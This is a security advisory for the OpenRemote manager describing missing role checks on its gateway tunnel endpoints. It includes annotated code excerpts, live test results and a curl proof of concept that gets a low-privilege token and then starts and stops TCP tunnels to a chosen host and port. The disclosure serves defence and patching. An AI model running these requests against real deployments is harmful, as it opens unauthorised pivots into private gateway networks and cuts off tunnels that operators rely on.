io.openremote:openremote-manager: Gateway tunnel endpoints carry no `@RolesAllowed`: any authenticated user opens a bidirectional TCP circuit into an edge gateway's network
What fixes it
- 1.31.0io.openremote:openremote-manager, mavenGitHub
<dependency><groupId>io.openremote</groupId><artifactId>openremote-manager</artifactId><version>1.31.0</version></dependency>
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
Four of the five gateway tunnel endpoints in GatewayServiceResource carry **no @RolesAllowed annotation** — neither on the method nor at the interface level. Any authenticated user, including one holding only read:map and no administrative role of any kind, can open a persistent, bidirectional TCP circuit from a publicly reachable SSH bastion into an edge gateway's OT/LAN segment, and can tear down tunnels that operators depend on.
The privilege requirement is inverted: merely *listing* a realm's tunnels requires read:admin, while *creating* one requires no client role at all.
Affected: **every released version carrying gateway tunnelling, 1.2.0 through 1.30.1 inclusive.** Fixed in 1.31.0.
Details
Affected versions. Gateway tunnelling was introduced on 2024-05-20 by *"Initial implementation of gateway tunnelling (#1297)"*, which predates the first tagged release (1.2.0, 2024-12-18), so every release up to and including 1.30.1 carries it. Confirmed on 1.28.1, whose tag dereferences to commit 51f4c3c0c8edd429a65237268d47d615617d4008 — the exact artifact tested.
Annotation-to-method map of model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java before the fix. The file contains **exactly one @RolesAllowed, and it is on the read-only listing endpoint**:
38: @Path("gateway")
43: @GET
44: @Path("tunnel/{realm}")
46: @RolesAllowed({Constants.READ_ADMIN_ROLE}) <-- the ONLY one in the file
54: GatewayTunnelInfo[] getAllActiveTunnelInfos(
59: @GET
60: @Path("tunnel/{realm}/{id}") <-- no @RolesAllowed
76: @GET
77: @Path("tunnel/{realm}/{id}/{target}/{targetPort}") <-- no @RolesAllowed
89: GatewayTunnelInfo getActiveTunnelInfo(
105: @POST
106: @Path("tunnel") <-- no @RolesAllowed
120: GatewayTunnelInfo startTunnel(
128: @DELETE
129: @Path("tunnel") <-- no @RolesAllowed
141: void stopTunnel(Four of the five tunnel endpoints — including both mutating ones — carry no authorization annotation.
The contrast, side by side:
// model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:43-46 -- read path IS gated
@GET @Path("tunnel/{realm}")
@RolesAllowed({Constants.READ_ADMIN_ROLE})
GatewayTunnelInfo[] getAllActiveTunnelInfos(...);
// model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:105-125 -- write path is NOT gated
@POST @Path("tunnel")
GatewayTunnelInfo startTunnel(@RequestBody(...) GatewayTunnelInfo tunnelInfo);The implementation's only gates are authentication, realm equality, and — for restricted users only — an asset-link check:
// manager/src/main/java/org/openremote/manager/gateway/GatewayServiceResourceImpl.java:121-142
public GatewayTunnelInfo startTunnel(GatewayTunnelInfo tunnelInfo) {
if (!isAuthenticated()) { throw new ForbiddenException(); } // authn only
if (tunnelInfo == null || TextUtil.isNullOrEmpty(tunnelInfo.getGatewayId())) { ... }
if (TextUtil.isNullOrEmpty(tunnelInfo.getRealm())) {
tunnelInfo.setRealm(getAuthenticatedRealmName());
} else if (!isSuperUser() && !tunnelInfo.getRealm().equals(getAuthenticatedRealmName())) { ... }
if (isRestrictedUser() && !assetStorageService.isUserAsset(getUserId(), tunnelInfo.getGatewayId())) { ... }
return this.gatewayService.startTunnel(tunnelInfo);
}Nothing in that chain asks what the caller is permitted to do with tunnels, because no role is required to reach it.
PoC
The authorization gap itself was confirmed on a live instance running openremote/manager built from commit 51f4c3c0c8e (= release 1.28.1), with OR_DEV_MODE=false. Test user poclow held write:assets only — no admin role of any kind:
| Endpoint | Annotation | Result | |---|---|---| | GET /gateway/tunnel/master | @RolesAllowed(READ_ADMIN) | 403 (control — the gate works) | | GET /gateway/tunnel/master/{id} | none | 200 | | POST /gateway/tunnel (start) | none | 400 — passed authz, failed business validation | | both, no token | — | 403 (authentication *is* enforced) |
An authenticated-but-unprivileged user passes the authorization layer on the tunnel-*starting* endpoint while the read-only *listing* endpoint requires read:admin. The 400-not-403 is the evidence that authorization was not the blocker — the request failed only on business validation because the test instance had no registered gateway.
Full exploitation of the network-pivot leg requires a registered, connected gateway, which the test instance lacked. The authorization defect is independent of that and is confirmed.
Complete reproduction on a deployment with gateway federation configured:
# Low-privilege realm user token (no admin roles at all)
TOKEN=$(curl -s -d 'grant_type=password' -d 'client_id=openremote' \
-d 'username=lowpriv' -d 'password=lowpriv' \
https://HOST/auth/realms/tenanta/protocol/openid-connect/token | jq -r .access_token)
# 1) Confirm the caller is NOT an admin - the read:admin listing must 403
curl -s -o /dev/null -w '%{http_code}\n' -H "Authorization: Bearer $TOKEN" \
https://HOST/api/tenanta/gateway/tunnel/tenanta # expect 403
# 2) Yet the same caller can open a tunnel through the gateway
curl -s -X POST https://HOST/api/tenanta/gateway/tunnel \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"realm":"tenanta","gatewayId":"<GATEWAY_ASSET_ID>","type":"TCP","target":"<TARGET_HOST>","targetPort":<TARGET_PORT>}'
# 200 + {"id":"gw-....","hostname":"...","assignedPort":...} => forward established
# 3) And can close a tunnel an operator is relying on
curl -s -X DELETE https://HOST/api/tenanta/gateway/tunnel \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"realm":"tenanta","gatewayId":"<GATEWAY_ASSET_ID>","target":"<TARGET_HOST>","targetPort":<TARGET_PORT>}'Impact
Vulnerability class: Missing Function-Level Authorization (CWE-862).
Who is impacted: every deployment using gateway federation — i.e. any deployment actually using the feature, which is its entire purpose. The attacker needs only *any* authenticated account in the realm; in a multi-tenant deployment that is any customer user, including a throwaway one.
A tunnel is not a read-only fetch. It is a persistent, bidirectional TCP circuit into a private network, and the missing role gate hands that capability to accounts that were never meant to have it:
- Persistent inbound pivot.
doTunnelSync(manager/src/main/java/org/openremote/manager/gateway/GatewayClientConnector.java:437) re-creates the forwards the central instance reports on every gateway reconnect, so a tunnel survives edge restarts until it is explicitly stopped orautoCloseTimefires — andOR_GATEWAY_TUNNEL_AUTO_CLOSE_MINUTES**defaults to0= never** (GatewayService.java:242). - A TCP circuit rather than a single request. The forward is established by
session.startRemotePortForwardinginMINAGatewayTunnelFactory, so it carries arbitrary TCP in both directions to thetargetandtargetPortnamed in the request. What that reaches is a property of the deployment: whatever the edge gateway's JVM can route to on its own network. - Tunnel teardown DoS against tunnels administrators depend on, since
stopTunnelis equally ungated. - Cross-tenant where the caller is a super user; within a realm, any user can target any gateway even without
read:assetson it.
Confidentiality, integrity and availability of the network behind the gateway are therefore all in scope.
What was verified. The authorization gap was confirmed on a live instance, as set out under PoC. The consequences above follow from the code paths cited and from the documented purpose of the feature; they were not exercised end to end against a connected gateway, and no claim is made here about what any particular deployment exposes on that network.
Remediation
Upgrade to 1.31.0.
Two dedicated roles were introduced, read:tunnels and write:tunnels, and every tunnel endpoint now requires one of them: the three read endpoints require read:tunnels, and startTunnel and stopTunnel require write:tunnels. The admin roles no longer grant tunnel access, because a tunnel reaches hosts on the gateway's own network rather than anything inside the manager. Restricted users additionally see and control only the tunnels of gateway assets linked to them, and the dashboard gateway widget is gated on the same roles.
Upgrade note. A database migration adds the new roles to the read and write composite roles, so accounts holding a composite keep working. Accounts provisioned with individual roles rather than a composite do not gain them and must be granted read:tunnels or write:tunnels explicitly before they can use the tunnel endpoints again.
Disclosure notes
Testing was performed on the reporter's own disposable local infrastructure, loopback-only. Nothing was sent off-host; no third-party system was contacted. The stack and all volumes have been destroyed.
One test-harness deviation is disclosed for completeness: the openremote Keycloak client ships with directAccessGrantsEnabled=false; it was flipped to true via the Keycloak admin API to script token acquisition. This changes *how a token is obtained*, not what a validly-authenticated principal may do — the authorization finding above is unaffected.
Text from GitHub Advisory Database
Affected versions 1
- io.openremote:openremote-manager, maven<1.31.0GitHub